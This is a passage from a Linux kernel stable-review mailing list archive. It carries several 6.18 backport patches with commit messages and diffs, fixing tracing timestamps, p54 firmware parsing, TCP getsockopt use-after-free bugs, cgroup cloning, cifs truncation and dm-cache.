event_hist_trigger_parse
hist_register_trigger
tracing_set_filter_buffering(file->tr, true);
tr->no_filter_buffering_ref++;
__trace_buffer_lock_reserve
rb_start_commit
local_inc(&cpu_buffer->committing); // skipped and not executed
trace_event_buffer_commit
__event_trigger_test_discard
event_triggers_call
event_hist_trigger
hist_fn_call
hist_field_timestamp
ring_buffer_event_time_stamp
nest = local_read(&cpu_buffer->committing);
WARN_ON_ONCE(!nest) // trigger warning
The root cause is that when an event file has a filter attached and the
hist trigger has not yet been attached, trace_event_buffer_lock_reserve()
writes the event into the per-CPU trace_buffered_event temp buffer instead
of reserving it in the ring buffer, so cpu_buffer->committing is not
incremented. When the event is later processed at commit time by a hist
trigger, hist_field_timestamp() -> ring_buffer_event_time_stamp() sees a
zero committing count, triggering WARN_ON_ONCE(!nest).
tracing_event_time_stamp() was added by commit d8279bfc5e959 ("tracing:
Add tracing_event_time_stamp() API") for exactly this case: if the event
is the per-CPU trace_buffered_event, it returns the current ring buffer
timestamp. But it never gained a caller. Use it in hist_field_timestamp(),
so that a hist trigger that races onto a buffered event records the
current time, which is only marginally later than when the event was
recorded, instead of warning and recording a bogus timestamp.
Cc: stable@vger.kernel.org
Link: https://patch.msgid.link/20260929104015.1689921-1-wutengda@huaweicloud.com
Fixes: b94bc80df648 ("tracing: Use a no_filter_buffering_ref to stop using the filter buffer")
Signed-off-by: Tengda Wu <wutengda@huaweicloud.com>
Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
kernel/trace/trace_events_hist.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
--- a/kernel/trace/trace_events_hist.c
+++ b/kernel/trace/trace_events_hist.c
@@ -868,7 +868,7 @@ static u64 hist_field_timestamp(struct h
struct hist_trigger_data *hist_data = hist_field->hist_data;
struct trace_array *tr = hist_data->event_file->tr;
- u64 ts = ring_buffer_event_time_stamp(buffer, rbe);
+ u64 ts = tracing_event_time_stamp(buffer, rbe);
if (hist_data->attrs->ts_in_usecs && trace_clock_in_ns(tr))
ts = ns2usecs(ts);
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 116/193] wifi: p54: validate firmware record lengths
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (114 preceding siblings ...)
2026-10-23 16:36 ` [PATCH 6.18 115/193] tracing: Fix hist trigger timestamps for buffered events Greg Kroah-Hartman
@ 2026-10-23 16:36 ` Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 117/193] tcp: fix use-after-free in do_tcp_getsockopt(TCP_CONGESTION) Greg Kroah-Hartman
` (87 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:36 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Heyang Tan, Christian Lamparter,
Johannes Berg
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Heyang Tan <thy15333007817@163.com>
commit db7b86bd97b380ece8fa39cfdd7502a9fd35e56f upstream.
The p54 firmware parser accesses component ID and component version
records without checking that their lengths cover the fields being read.
A malformed record can therefore make the parser read past the record.
Validate the component ID and component version record lengths before
accessing their data. The descriptor record is also checked against the
shortest descriptor length found in the supported firmware images.
Reject descriptor values that underflow the RX offset or produce an empty
RX range before updating the driver state.
Assisted-by: LLM Codex
Signed-off-by: Heyang Tan <thy15333007817@163.com>
Tested-by: Christian Lamparter <chunkeey@gmail.com>
Link: https://patch.msgid.link/20260918083349.891-1-thy15333007817@163.com
Signed-off-by: Johannes Berg <johannes.berg@intel.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/net/wireless/intersil/p54/fwio.c | 42 +++++++++++++++++++++++++++----
1 file changed, 37 insertions(+), 5 deletions(-)
--- a/drivers/net/wireless/intersil/p54/fwio.c
+++ b/drivers/net/wireless/intersil/p54/fwio.c
@@ -52,6 +52,13 @@ int p54_parse_firmware(struct ieee80211_
u32 code = le32_to_cpu(bootrec->code);
switch (code) {
case BR_CODE_COMPONENT_ID:
+ if (len < sizeof(struct bootrec_comp_id) /
+ sizeof(*bootrec->data)) {
+ wiphy_err(priv->hw->wiphy,
+ "firmware component ID is too short\n");
+ return -EINVAL;
+ }
+
priv->fw_interface = be32_to_cpup((__be32 *)
bootrec->data);
switch (priv->fw_interface) {
@@ -72,16 +79,41 @@ int p54_parse_firmware(struct ieee80211_
}
break;
case BR_CODE_COMPONENT_VERSION:
+ if (len < DIV_ROUND_UP(sizeof(struct bootrec_comp_ver),
+ sizeof(*bootrec->data))) {
+ wiphy_err(priv->hw->wiphy,
+ "firmware component version is too short\n");
+ return -EINVAL;
+ }
+
/* 24 bytes should be enough for all firmwares */
- if (strnlen((unsigned char *) bootrec->data, 24) < 24)
- fw_version = (unsigned char *) bootrec->data;
+ if (strnlen((unsigned char *)bootrec->data,
+ sizeof(struct bootrec_comp_ver)) <
+ sizeof(struct bootrec_comp_ver))
+ fw_version = (unsigned char *)bootrec->data;
break;
case BR_CODE_DESCR: {
struct bootrec_desc *desc =
(struct bootrec_desc *)bootrec->data;
- priv->rx_start = le32_to_cpu(desc->rx_start);
- /* FIXME add sanity checking */
- priv->rx_end = le32_to_cpu(desc->rx_end) - 0x3500;
+ u32 rx_start, rx_end;
+
+ /* 0xa is the shortest descriptor in supported firmware. */
+ if (len < 0xa) {
+ wiphy_err(priv->hw->wiphy,
+ "firmware descriptor is too short\n");
+ return -EINVAL;
+ }
+
+ rx_start = le32_to_cpu(desc->rx_start);
+ rx_end = le32_to_cpu(desc->rx_end);
+ if (rx_end < 0x3500 || rx_end - 0x3500 <= rx_start) {
+ wiphy_err(priv->hw->wiphy,
+ "firmware descriptor has invalid RX range\n");
+ return -EINVAL;
+ }
+
+ priv->rx_start = rx_start;
+ priv->rx_end = rx_end - 0x3500;
priv->headroom = desc->headroom;
priv->tailroom = desc->tailroom;
priv->privacy_caps = desc->privacy_caps;
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 117/193] tcp: fix use-after-free in do_tcp_getsockopt(TCP_CONGESTION)
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (115 preceding siblings ...)
2026-10-23 16:36 ` [PATCH 6.18 116/193] wifi: p54: validate firmware record lengths Greg Kroah-Hartman
@ 2026-10-23 16:36 ` Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 118/193] tcp: fix use-after-free in do_tcp_getsockopt(TCP_CC_INFO) Greg Kroah-Hartman
` (86 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:36 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Eric Dumazet, Xiang Mei (Microsoft),
AutonomousCodeSecurity, Cen Zhang (Microsoft Security FORGE Labs),
Jiayuan Chen, Matthieu Baerts (NGI0), Breno Leitao,
Jakub Kicinski
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Cen Zhang (Microsoft Security FORGE Labs) <blbllhy@gmail.com>
commit 5271b79b7ad68dcb222e893773f92bdabf7750f3 upstream.
do_tcp_getsockopt() reads icsk->icsk_ca_ops->name without holding
rcu_read_lock(). Since commit 0baf26b0fcd7 ("bpf: tcp: Support
tcp_congestion_ops in bpf"), icsk_ca_ops can point to dynamically
allocated BPF struct_ops memory that may be freed concurrently via
setsockopt(TCP_CONGESTION), leading to a use-after-free.
BUG: KASAN: slab-use-after-free in _copy_to_user+0x37/0x60
Read of size 16 at addr ffff888013505260 by task exploit/149
_copy_to_user+0x37/0x60
do_tcp_getsockopt+0x158a/0x2460 (net/ipv4/tcp.c:4585)
tcp_getsockopt+0x91/0xf0
__sys_getsockopt+0xf7/0x170
Fix this by holding rcu_read_lock() around the ca_ops->name access,
using READ_ONCE() to load icsk_ca_ops, and copying the name to a
stack buffer before releasing the lock. Also annotate the relevant
icsk_ca_ops stores with WRITE_ONCE() to fix the accompanying KCSAN
data-race issue.
Fixes: 0baf26b0fcd7 ("bpf: tcp: Support tcp_congestion_ops in bpf")
Suggested-by: Eric Dumazet <edumazet@google.com>
Reported-by: Xiang Mei (Microsoft) <xmei5@asu.edu>
Link: https://lore.kernel.org/all/20260821182449.79785-2-blbllhy@gmail.com/
Cc: AutonomousCodeSecurity@microsoft.com
Cc: stable@vger.kernel.org
Reviewed-by: Eric Dumazet <edumazet@google.com>
Signed-off-by: Cen Zhang (Microsoft Security FORGE Labs) <blbllhy@gmail.com>
Reviewed-by: Jiayuan Chen <jiayuan.chen@linux.dev>
Reviewed-by: Matthieu Baerts (NGI0) <matttbe@kernel.org>
Reviewed-by: Breno Leitao <leitao@debian.org>
Link: https://patch.msgid.link/d3f97f1acbf0010898148be6e6406e4b8b4a5c84.1787870710.git.blbllhy@gmail.com
Signed-off-by: Jakub Kicinski <kuba@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
net/ipv4/tcp.c | 14 +++++++++++---
net/ipv4/tcp_cong.c | 4 ++--
net/ipv4/tcp_dctcp.c | 2 +-
net/ipv4/tcp_minisocks.c | 2 +-
net/ipv4/tcp_output.c | 2 +-
5 files changed, 16 insertions(+), 8 deletions(-)
--- a/net/ipv4/tcp.c
+++ b/net/ipv4/tcp.c
@@ -4555,16 +4555,24 @@ int do_tcp_getsockopt(struct sock *sk, i
val = !inet_csk_in_pingpong_mode(sk);
break;
- case TCP_CONGESTION:
+ case TCP_CONGESTION: {
+ char ca_name[TCP_CA_NAME_MAX] = {};
+
if (copy_from_sockptr(&len, optlen, sizeof(int)))
return -EFAULT;
len = min_t(unsigned int, len, TCP_CA_NAME_MAX);
if (copy_to_sockptr(optlen, &len, sizeof(int)))
return -EFAULT;
- if (copy_to_sockptr(optval, icsk->icsk_ca_ops->name, len))
+
+ rcu_read_lock();
+ memcpy(ca_name, READ_ONCE(icsk->icsk_ca_ops)->name,
+ sizeof(ca_name));
+ rcu_read_unlock();
+
+ if (copy_to_sockptr(optval, ca_name, len))
return -EFAULT;
return 0;
-
+ }
case TCP_ULP:
if (copy_from_sockptr(&len, optlen, sizeof(int)))
return -EFAULT;
--- a/net/ipv4/tcp_cong.c
+++ b/net/ipv4/tcp_cong.c
@@ -223,7 +223,7 @@ void tcp_assign_congestion_control(struc
ca = rcu_dereference(net->ipv4.tcp_congestion_control);
if (unlikely(!bpf_try_module_get(ca, ca->owner)))
ca = &tcp_reno;
- icsk->icsk_ca_ops = ca;
+ WRITE_ONCE(icsk->icsk_ca_ops, ca);
rcu_read_unlock();
memset(icsk->icsk_ca_priv, 0, sizeof(icsk->icsk_ca_priv));
@@ -253,7 +253,7 @@ static void tcp_reinit_congestion_contro
struct inet_connection_sock *icsk = inet_csk(sk);
tcp_cleanup_congestion_control(sk);
- icsk->icsk_ca_ops = ca;
+ WRITE_ONCE(icsk->icsk_ca_ops, ca);
icsk->icsk_ca_setsockopt = 1;
memset(icsk->icsk_ca_priv, 0, sizeof(icsk->icsk_ca_priv));
--- a/net/ipv4/tcp_dctcp.c
+++ b/net/ipv4/tcp_dctcp.c
@@ -111,7 +111,7 @@ __bpf_kfunc static void dctcp_init(struc
/* No ECN support? Fall back to Reno. Also need to clear
* ECT from sk since it is set during 3WHS for DCTCP.
*/
- inet_csk(sk)->icsk_ca_ops = &dctcp_reno;
+ WRITE_ONCE(inet_csk(sk)->icsk_ca_ops, &dctcp_reno);
INET_ECN_dontxmit(sk);
}
--- a/net/ipv4/tcp_minisocks.c
+++ b/net/ipv4/tcp_minisocks.c
@@ -508,7 +508,7 @@ void tcp_ca_openreq_child(struct sock *s
ca = tcp_ca_find_key(ca_key);
if (likely(ca && bpf_try_module_get(ca, ca->owner))) {
icsk->icsk_ca_dst_locked = tcp_ca_dst_locked(dst);
- icsk->icsk_ca_ops = ca;
+ WRITE_ONCE(icsk->icsk_ca_ops, ca);
ca_got_dst = true;
}
rcu_read_unlock();
--- a/net/ipv4/tcp_output.c
+++ b/net/ipv4/tcp_output.c
@@ -4030,7 +4030,7 @@ static void tcp_ca_dst_init(struct sock
if (likely(ca && bpf_try_module_get(ca, ca->owner))) {
bpf_module_put(icsk->icsk_ca_ops, icsk->icsk_ca_ops->owner);
icsk->icsk_ca_dst_locked = tcp_ca_dst_locked(dst);
- icsk->icsk_ca_ops = ca;
+ WRITE_ONCE(icsk->icsk_ca_ops, ca);
}
rcu_read_unlock();
}
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 118/193] tcp: fix use-after-free in do_tcp_getsockopt(TCP_CC_INFO)
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (116 preceding siblings ...)
2026-10-23 16:36 ` [PATCH 6.18 117/193] tcp: fix use-after-free in do_tcp_getsockopt(TCP_CONGESTION) Greg Kroah-Hartman
@ 2026-10-23 16:36 ` Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 119/193] cgroup: fix spurious SIGKILL of CLONE_INTO_CGROUP children Greg Kroah-Hartman
` (85 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:36 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Eric Dumazet, AutonomousCodeSecurity,
Cen Zhang (Microsoft Security FORGE Labs), Jiayuan Chen,
Matthieu Baerts (NGI0), Jakub Kicinski
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Cen Zhang (Microsoft Security FORGE Labs) <blbllhy@gmail.com>
commit 385e474086c2e7e29e2dded690be40dc273e20ee upstream.
do_tcp_getsockopt() reads icsk->icsk_ca_ops and dereferences the
get_info function pointer without rcu_read_lock(). With BPF struct_ops
congestion control, ca_ops can point to dynamically allocated memory
that is freed concurrently, resulting in a use-after-free when the
kernel dereferences or calls through the stale pointer.
BUG: KASAN: slab-use-after-free in do_tcp_getsockopt+0x2037/0x23e0
Read of size 8 at addr ffff888013701258 by task exploit/149
do_tcp_getsockopt+0x2037/0x23e0 (net/ipv4/tcp.c:4564)
tcp_getsockopt+0x91/0xf0
__sys_getsockopt+0xf7/0x170
Fix this by wrapping the ca_ops load and get_info call within
rcu_read_lock()/rcu_read_unlock(), and using READ_ONCE() to load
the icsk_ca_ops pointer.
Fixes: 0baf26b0fcd7 ("bpf: tcp: Support tcp_congestion_ops in bpf")
Suggested-by: Eric Dumazet <edumazet@google.com>
Cc: AutonomousCodeSecurity@microsoft.com
Cc: stable@vger.kernel.org
Reviewed-by: Eric Dumazet <edumazet@google.com>
Signed-off-by: Cen Zhang (Microsoft Security FORGE Labs) <blbllhy@gmail.com>
Reviewed-by: Jiayuan Chen <jiayuan.chen@linux.dev>
Reviewed-by: Matthieu Baerts (NGI0) <matttbe@kernel.org>
Link: https://patch.msgid.link/65fd3816ed5d541d9edd4bf4fcf97104a2cf907a.1787870710.git.blbllhy@gmail.com
Signed-off-by: Jakub Kicinski <kuba@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
net/ipv4/tcp.c | 4 +++-
net/ipv4/tcp_dctcp.c | 2 +-
2 files changed, 4 insertions(+), 2 deletions(-)
--- a/net/ipv4/tcp.c
+++ b/net/ipv4/tcp.c
@@ -4540,9 +4540,11 @@ int do_tcp_getsockopt(struct sock *sk, i
if (copy_from_sockptr(&len, optlen, sizeof(int)))
return -EFAULT;
- ca_ops = icsk->icsk_ca_ops;
+ rcu_read_lock();
+ ca_ops = READ_ONCE(icsk->icsk_ca_ops);
if (ca_ops && ca_ops->get_info)
sz = ca_ops->get_info(sk, ~0U, &attr, &info);
+ rcu_read_unlock();
len = min_t(unsigned int, len, sz);
if (copy_to_sockptr(optlen, &len, sizeof(int)))
--- a/net/ipv4/tcp_dctcp.c
+++ b/net/ipv4/tcp_dctcp.c
@@ -224,7 +224,7 @@ static size_t dctcp_get_info(struct sock
if (ext & (1 << (INET_DIAG_DCTCPINFO - 1)) ||
ext & (1 << (INET_DIAG_VEGASINFO - 1))) {
memset(&info->dctcp, 0, sizeof(info->dctcp));
- if (inet_csk(sk)->icsk_ca_ops != &dctcp_reno) {
+ if (READ_ONCE(inet_csk(sk)->icsk_ca_ops) != &dctcp_reno) {
info->dctcp.dctcp_enabled = 1;
info->dctcp.dctcp_ce_state = (u16) ca->ce_state;
info->dctcp.dctcp_alpha = ca->dctcp_alpha;
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 119/193] cgroup: fix spurious SIGKILL of CLONE_INTO_CGROUP children
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (117 preceding siblings ...)
2026-10-23 16:36 ` [PATCH 6.18 118/193] tcp: fix use-after-free in do_tcp_getsockopt(TCP_CC_INFO) Greg Kroah-Hartman
@ 2026-10-23 16:36 ` Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 138/242] i2c: xiic: restore non-managed runtime PM to fix clk WARN flood Greg Kroah-Hartman
` (84 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:36 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Shakeel Butt, Etienne Perot,
Tejun Heo
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Etienne Perot <eperot@google.com>
commit 8e359920216689b3b79e0fe8961a77fe312a511f upstream.
Since commit b69bb476dee9 ("cgroup: fix race between fork and
cgroup.kill"), the fork path snapshots the kill_seq of the child's
future cgroup into kargs->kill_seq, and cgroup_post_fork() SIGKILLs
the child if that cgroup's kill_seq has changed in the meantime, to
catch forks racing with a cgroup.kill sweep.
For CLONE_INTO_CGROUP, however, the snapshot in cgroup_css_set_fork()
is taken before the target cgroup has been resolved: kargs->cgrp is
always NULL at this point (it is only set at the end of the function).
So the "if (kargs->cgrp)" branch is dead code and the snapshot always
records the kill_seq of the parent's cgroup. cgroup_post_fork() then
compares it with the kill_seq of the target cgroup, so the child gets
SIGKILLed whenever the two cgroups have been killed a different number
of times.
As a result, once cgroup.kill has been written to a cgroup, every
child subsequently cloned into it with clone3(CLONE_INTO_CGROUP) is
killed on the spot, for as long as the cgroup exists: kill_seq is not
exposed to userspace and never resets.
Re-snapshot kill_seq from the target cgroup once it has been resolved,
and drop the dead branch at the early snapshot site.
This does not reopen the race fixed by b69bb476dee9. For
CLONE_INTO_CGROUP, everything from the snapshot to the check in
cgroup_post_fork() runs with cgroup_mutex held, and kill_seq is
only ever incremented under cgroup_mutex.
tj: Updated the comment above kill_seq to reflect the new serialization
rules as suggested by Shakeel Butt.
Fixes: b69bb476dee9 ("cgroup: fix race between fork and cgroup.kill")
Cc: stable@vger.kernel.org
Cc: Shakeel Butt <shakeel.butt@linux.dev>
Assisted-by: LLM
Signed-off-by: Etienne Perot <eperot@google.com>
Signed-off-by: Tejun Heo <tj@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
include/linux/cgroup-defs.h | 5 ++++-
kernel/cgroup/cgroup.c | 6 ++----
2 files changed, 6 insertions(+), 5 deletions(-)
--- a/include/linux/cgroup-defs.h
+++ b/include/linux/cgroup-defs.h
@@ -518,7 +518,10 @@ struct cgroup {
int nr_threaded_children; /* # of live threaded child cgroups */
- /* sequence number for cgroup.kill, serialized by css_set_lock. */
+ /*
+ * Sequence number for cgroup.kill. Incremented with both cgroup_mutex
+ * and css_set_lock held. Readers hold either one.
+ */
unsigned int kill_seq;
struct kernfs_node *kn; /* cgroup kernfs entry */
--- a/kernel/cgroup/cgroup.c
+++ b/kernel/cgroup/cgroup.c
@@ -6734,10 +6734,7 @@ static int cgroup_css_set_fork(struct ke
spin_lock_irq(&css_set_lock);
cset = task_css_set(current);
get_css_set(cset);
- if (kargs->cgrp)
- kargs->kill_seq = kargs->cgrp->kill_seq;
- else
- kargs->kill_seq = cset->dfl_cgrp->kill_seq;
+ kargs->kill_seq = cset->dfl_cgrp->kill_seq;
spin_unlock_irq(&css_set_lock);
if (!(kargs->flags & CLONE_INTO_CGROUP)) {
@@ -6801,6 +6798,7 @@ static int cgroup_css_set_fork(struct ke
put_css_set(cset);
kargs->cgrp = dst_cgrp;
+ kargs->kill_seq = dst_cgrp->kill_seq;
return ret;
err:
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 120/193] cifs: dont update i_size in cifs_do_truncate without a cached handle
@ 2026-10-23 16:39 ` Greg Kroah-Hartman
0 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:36 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Frank Sorenson, David Howells,
Paulo Alcantara
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Frank Sorenson <sorenson@redhat.com>
commit fe39cd9d48f2346605f3746e0cc19e89d5f373eb upstream.
If find_writable_file() returns null, cifs_file_flush will return
0 without issuing set_file_size, and the outer 'if (!rc)' block
will set i_size to 0 before telling the server to truncate. If
the cifs_open() then fails, the inode will have size 0, while
the server file is unchanged.
Move the netfs_resize_file() and cifs_setsize() into the 'if
(cfile)', so they only run after a successful set_file_size.
In the no-handle else branch, evict stale pages with
truncate_inode_pages before the O_TRUNC open to dispose of old
cache pages, and let the open response set the i_size.
Fixes: 110fee6b9bb5 ("smb: client: fix missing timestamp updates with O_TRUNC")
Cc: stable@vger.kernel.org
Signed-off-by: Frank Sorenson <sorenson@redhat.com>
Acked-by: David Howells <dhowells@redhat.com>
Signed-off-by: Paulo Alcantara <pc@manguebit.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
fs/smb/client/file.c | 24 ++++++++++++++++++++----
1 file changed, 20 insertions(+), 4 deletions(-)
--- a/fs/smb/client/file.c
+++ b/fs/smb/client/file.c
@@ -1003,10 +1003,26 @@ static int cifs_do_truncate(const unsign
server = tcon->ses->server;
rc = server->ops->set_file_size(xid, tcon,
cfile, 0, false);
- }
- if (!rc) {
- netfs_resize_file(&cinode->netfs, 0, true);
- cifs_setsize(inode, 0);
+ if (!rc) {
+ inode_lock(inode);
+ filemap_invalidate_lock(inode->i_mapping);
+ netfs_resize_file(&cinode->netfs, 0, true);
+ cifs_setsize(inode, 0);
+ filemap_invalidate_unlock(inode->i_mapping);
+ inode_unlock(inode);
+ cifs_invalidate_cache(inode, 0);
+ }
+ } else {
+ /*
+ * No cached handle; evict stale pages so they can't
+ * be served after the file is later extended; let
+ * the server's O_TRUNC open response set the i_size
+ */
+ inode_lock(inode);
+ filemap_invalidate_lock(inode->i_mapping);
+ truncate_inode_pages(inode->i_mapping, 0);
+ filemap_invalidate_unlock(inode->i_mapping);
+ inode_unlock(inode);
cifs_invalidate_cache(inode, 0);
}
}
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 121/193] dm cache: fix demotion stats in passthrough mode
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (119 preceding siblings ...)
2026-10-23 16:39 ` [PATCH 7.2 138/242] i2c: xiic: restore non-managed runtime PM to fix clk WARN flood Greg Kroah-Hartman
@ 2026-10-23 16:36 ` Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 122/193] dm cache: fix issue with background work locking Greg Kroah-Hartman
` (82 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:36 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Ben Marzinski, Ming-Hung Tsai,
Mikulas Patocka
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Ming-Hung Tsai <mtsai@redhat.com>
commit 2ccb8878c149443c6acf628b438c9c942c20abb2 upstream.
The demotion counter is incremented per incoming write bio before the
invalidation begins, causing the demotion count to exceed the actual
number of cached blocks when multiple bios target the same cached
block. Additionally, the counter is incremented unconditionally
regardless of invalidation failure.
Reproduce steps:
1. Create a cache device consisting of 512 cache entries
modprobe brd rd_size=262144
dmsetup create cmeta --table "0 8192 linear /dev/ram0 0"
dmsetup create cdata --table "0 65536 linear /dev/ram0 8192"
dmsetup create corig --table "0 65536 linear /dev/ram0 262144"
dd if=/dev/zero of=/dev/mapper/cmeta bs=4k count=1 oflag=direct
dmsetup create cache --table "0 65536 cache /dev/mapper/cmeta \
/dev/mapper/cdata /dev/mapper/corig 128 2 metadata2 writethrough smq 0"
2. Populate the cache, and record the number of cached blocks
fio --name=populate --filename=/dev/mapper/cache --rw=randwrite --bs=4k \
--direct=1 --ioengine=libaio --iodepth=32 --io_size=2048m
nr_cached=$(dmsetup status cache | awk '{split($7, a, "/"); print a[1]}')
3. Reload the cache into passthrough mode
dmsetup suspend cache
dmsetup reload cache --table "0 65536 cache /dev/mapper/cmeta \
/dev/mapper/cdata /dev/mapper/corig 128 2 metadata2 passthrough smq 0"
dmsetup resume cache
4. Write to the passthrough cache with multiple jobs to trigger
multiple bios hitting the same cached block.
fio --filename=/dev/mapper/cache --name=test --rw=write --bs=4k \
--direct=1 --ioengine=libaio --iodepth=32 --numjobs=4
5. Check if demoted matches cached block count. These numbers should
match but may differ due to overcounting per bio.
nr_demoted=$(dmsetup status cache | awk '{print $12}')
echo "$nr_cached, $nr_demoted"
Fix by moving the demotion counter increment into invalidate_complete(),
gated on the success flag.
Reported-by: Ben Marzinski <bmarzins@redhat.com>
Fixes: b29d4986d0da ("dm cache: significant rework to leverage dm-bio-prison-v2")
Cc: stable@vger.kernel.org
Signed-off-by: Ming-Hung Tsai <mtsai@redhat.com>
Reviewed-by: Benjamin Marzinski <bmarzins@redhat.com>
Signed-off-by: Mikulas Patocka <mpatocka@redhat.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/md/dm-cache-target.c | 4 +++-
1 file changed, 3 insertions(+), 1 deletion(-)
--- a/drivers/md/dm-cache-target.c
+++ b/drivers/md/dm-cache-target.c
@@ -1461,6 +1461,9 @@ static void invalidate_complete(struct d
struct bio_list bios;
struct cache *cache = mg->cache;
+ if (success)
+ atomic_inc(&cache->stats.demotion);
+
bio_list_init(&bios);
if (mg->cell) {
if (dm_cell_unlock_v2(cache->prison, mg->cell, &bios))
@@ -1732,7 +1735,6 @@ static int map_bio(struct cache *cache,
if (passthrough_mode(cache)) {
if (bio_data_dir(bio) == WRITE) {
bio_drop_shared_lock(cache, bio);
- atomic_inc(&cache->stats.demotion);
invalidate_start(cache, cblock, block, bio);
return DM_MAPIO_SUBMITTED;
} else
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 122/193] dm cache: fix issue with background work locking
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (120 preceding siblings ...)
2026-10-23 16:36 ` [PATCH 6.18 121/193] dm cache: fix demotion stats in passthrough mode Greg Kroah-Hartman
@ 2026-10-23 16:36 ` Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 123/193] dm-crypt: fix a tiny race condition in crypt_dec_pending Greg Kroah-Hartman
` (81 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:36 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Benjamin Marzinski, Matthew Sakai,
Ming-Hung Tsai, Mikulas Patocka
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Benjamin Marzinski <bmarzins@redhat.com>
commit bc9781c0247de107876f32929f1637db93a42b34 upstream.
dm cache used a rw_semaphore for background_work_lock. Write locks on
rw_semaphores have strict owner semantics, but there was no guarantee
that the process that locked background_work_lock was the same process
that unlocked it. This can be easily seen using a kernel compiled with
CONFIG_DEBUG_RWSEMS. Given a dm cache device <cache>, run: 'dmsetup
suspend <cache> && dmsetup resume <cache>'. This will trigger a kernel
warning:
DEBUG_RWSEMS_WARN_ON((rwsem_owner(sem) != current) && !rwsem_test_oflags(sem, RWSEM_NONSPINNABLE))
triggered by cache_resume(). To fix this, switch from a rw_semaphore to
a spinlock and a wait queue. dm cache already has a wait queue and
associated counter, migration_wait and nr_allocated_migrations, that was
getting woken up when background work was getting completed, but wasn't
actually used by anything. This is replaced by the background_work queue
and counter.
Fixes: b29d4986d0da ("dm cache: significant rework to leverage dm-bio-prison-v2")
Cc: stable@vger.kernel.org
Signed-off-by: Benjamin Marzinski <bmarzins@redhat.com>
Reviewed-by: Matthew Sakai <msakai@redhat.com>
Reviewed-by: Ming-Hung Tsai <mtsai@redhat.com>
Signed-off-by: Mikulas Patocka <mpatocka@redhat.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/md/dm-cache-target.c | 55 +++++++++++++++++++++----------------------
1 file changed, 28 insertions(+), 27 deletions(-)
--- a/drivers/md/dm-cache-target.c
+++ b/drivers/md/dm-cache-target.c
@@ -339,8 +339,6 @@ struct cache {
struct list_head invalidation_requests;
sector_t migration_threshold;
- wait_queue_head_t migration_wait;
- atomic_t nr_allocated_migrations;
/*
* The number of in flight migrations that are performing
@@ -396,7 +394,11 @@ struct cache {
bool loaded_mappings:1;
bool loaded_discards:1;
- struct rw_semaphore background_work_lock;
+ /* background work management */
+ bool background_work_allowed;
+ unsigned background_work_nr;
+ spinlock_t background_work_lock;
+ wait_queue_head_t background_work_wait;
struct batcher committer;
struct work_struct commit_ws;
@@ -487,19 +489,13 @@ static struct dm_cache_migration *alloc_
memset(mg, 0, sizeof(*mg));
mg->cache = cache;
- atomic_inc(&cache->nr_allocated_migrations);
return mg;
}
